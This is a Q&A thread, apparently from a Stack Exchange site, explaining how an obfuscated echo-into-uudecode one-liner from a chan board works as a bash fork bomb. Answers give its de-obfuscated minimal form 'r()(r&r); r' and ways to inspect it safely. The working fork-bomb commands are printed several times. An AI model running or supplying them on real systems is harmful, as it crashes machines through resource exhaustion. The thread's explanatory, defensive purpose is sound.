How and why is this string of text a fork bomb?

133

47

Found on a random chan board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Somehow running this this results in an infinitely spawning process that runs rampant and grinds the machine to a halt. I see something about "su" attempting to be executed numerous times.

..which is strange, because I'd just expect text to be output, not the execution of anything.

Running this text through an online decoder just gives me a batch of binary spew:

uudecode result

What is this mess of text actually doing, and is there a way to "safely" view it?

Mikey T.K.

Posted 2015-11-06T06:48:53.590

Reputation: 3 224

Why is "su" being executed numerous times? – Brent Washburne – 2015-11-07T00:57:28.567

35A piece of advice: don't run code from random chan boards and be grateful it was just a fork bomb. – rr- – 2015-11-08T16:46:34.310

21Heh. Thankfully I was on a snapshotted VM made for the express purpose of playing around with possibly hostile garbage like this. – Mikey T.K. – 2015-11-09T02:24:20.987

I know this is off-topic, but is it possible to mention the board and the context in which the command was mentioned? – Sebi – 2015-11-09T22:09:09.867

1

@Sebi - https://archive.rebeccablacktech.com/g/thread/45564403

– Pikamander2 – 2015-11-10T09:21:03.607

2

Vidar Holen, the author of https://www.shellcheck.net/ wrote a blog post on this in which he claims to be the author of this fork bomb and gives some background information.

– Socowi – 2019-06-24T13:00:10.047

Answers

196

First, let's look at the whole command:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

It contains a double-quoted string that gets echoed to uudecode. But, note that, within the double-quoted string is a back-quoted string. This string gets executed. The string is:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

If we look at what's in it, we see three commands:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Performing brace expansion on the middle command, we have:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

The first line tries to run a nonsense command in background. This is unimportant.

The second line is important: it defines a function r which, when run, launches two copies of itself. Each of those copies would, of course, launch two more copies. And so on.

The third line runs r, starting the fork bomb.

The rest of the code, outside of the back-quoted string, is just nonsense for obfuscation.

How to run the command safely

This code can be run safely if we set limit on function nesting level. This can be done with bash's FUNCNEST variable. Here, we set it to 2 and this stops the recursion:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

The error messages above show that (a) the nonsense commands rYWdl and Y29j are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo does not start with begin and, consequently, is not valid input for uudecode.

The fork bomb in its simplest form

What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:

echo "`r()(r&r);r`"

We can simplify that even further:

r()(r&r); r

That consists of two statements: one defines the fork-bomb-function r and the second runs r.

All the other code, including the pipe to uudecode, was there just for obscuration and misdirection.

The original form had yet another layer of misdirection

The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Notice one of the first comments about this code:

I fell for it. Copied only the part that echoes and decodes, but still got forkbombed

In the form on the chann board, one would naively think that the problem would be the eval statement operating on the output of uudecode. This would lead one to think that removing eval would solve the problem. As we have seen above, this is false and dangerously so.

John1024

Posted 2015-11-06T06:48:53.590

Reputation: 13 893

6Devious! I never thought to consider shell globbing/expansion in the middle of the echoed string. – Mikey T.K. – 2015-11-06T07:12:09.377

31I think it would be good to note that uudecode is completely irrelevant here. For a moment I thought uudecode was performing back-quoted string interpolation which would render it fundamentally unsafe, but the fork bomb happens before uudecode starts at all. – gerrit – 2015-11-06T11:22:49.160

28...and this, ladies and gentleman, is why security in shell scripts is so damned hard. Even totally harmless-looking stuff can kill you. (Imagine if this was user input from somewhere...) – MathematicalOrchid – 2015-11-06T14:03:02.670

22@MathematicalOrchid It actually takes nontrivial effort to cause backquoted stuff in user input to a shell script to get executed. And if you're constructing a shell script from user input you should know better than to put it in double quotes. – Random832 – 2015-11-06T14:40:27.503

2@Random832 It depends on how much of a clue the person who wrote the script has. :-/ If you're just taking your first steps with shell scripting... there are many, many ways to shoot yourself in the foot. – MathematicalOrchid – 2015-11-06T15:09:56.443

so, in its simplest form, it would be something like echo "\r()(r r);r`"`? – njzk2 – 2015-11-06T15:42:19.903

5@njzk2 You still need an & there: echo "\r()(r&r);r`"`. – gerrit – 2015-11-06T16:17:42.147

1@gerrit thanks. That looked odd without the &. I guess the obfuscation part worked on me. – njzk2 – 2015-11-06T16:25:18.800

2

I didn't know what back ticks did in shell and found a related link: http://unix.stackexchange.com/a/27432

– Luminous – 2015-11-06T19:17:32.703

2@MathematicalOrchid I think Random832's point is that the backtick expansion doesn't happen recursively. If you do echo $userinput, and the input contains backticks, it won't execute the code in them. The only expansion done when expanding a variable is globbing and word splitting (and these will be suppressed if you put the variable in double quotes). – Barmar – 2015-11-06T19:36:47.513

Indeed. echo "$uservariable" doesn't perform backtick expansion if uservariable contains backticks. – Joshua – 2015-11-08T16:13:14.027

1@MathematicalOrchid, unless you're doing something silly like running eval (or a moral equivalent such as sh -c or ssh "$host" "some_command $untrusted_user_data") on a string containing user input that wasn't sanitized with printf %q, it's perfectly safe. Indeed, many common mistakes in shell programming come from people not understanding the rules built to protect from jumps back to earlier points in the parsing process. – Charles Duffy – 2015-11-09T05:36:38.963

So to clarify, nothing in this matters other than the backquoted string? In other words if you were to run echo \rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`` it would have the same result? – Duncan X Simpson – 2015-11-09T21:58:21.773

10

To answer the second part of your question:

...is there a way to "safely" view it?

To defuse this string, replace the outer double quotes by single quotes and escape the single quotes occurring inside the string. Like this, the shell will not execute any code, and you're actually passing everything straight to uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Other alternatives are noted in the comments:

kasperd suggested:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall suggested to use a text editor, paste the contents, then pass that file to uudecode.

gerrit

Posted 2015-11-06T06:48:53.590

Reputation: 1 357

5Alternatively: Type uudecode on the command line. Press enter. Copy-paste the string to be decoded. – kasperd – 2015-11-06T14:16:43.037

3Another alternative: use a text editor to save the contents to a file. Open that file with uudecode. – Jacob Krall – 2015-11-06T14:32:52.593

Thanks to both, I have noted those alternatives in the answer. – gerrit – 2015-11-06T14:51:54.120

1Make sure you check that the string isn't something like echo "foo`die`bar'`die`'baz" first! That is, if it has any 's in it then replacing the quotes with single quotes will not be sufficient. – wchargin – 2015-11-07T01:36:53.640

5

At a first glance, you might think that output to the shell will never get executed. This is still true. The problem is already in the input. The main trick here is what programmers call operator precedence. This is the order the shell tries to process your input:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Compose the string by executing all backticks commands inside it.
  2. Usually an unknown command, which would cause some output like If 'rYWdl' is not a typo you can use command-not-found to lookup the package that contains it … (depends on the system)
  3. Executes 2. in the background. You will never see an output.
  4. Define the fork bomb function.
  5. Command separator.
  6. Run the fork bomb.
  7. Insert the result of 6. into the String. (We never come here.)

The error is to think that echo would be the first command to be executed, uudecode the second. Both of them will never be reached.

Conclusion: Double quotes are always dangerous on the shell.

Matthias Ronge

Posted 2015-11-06T06:48:53.590

Reputation: 205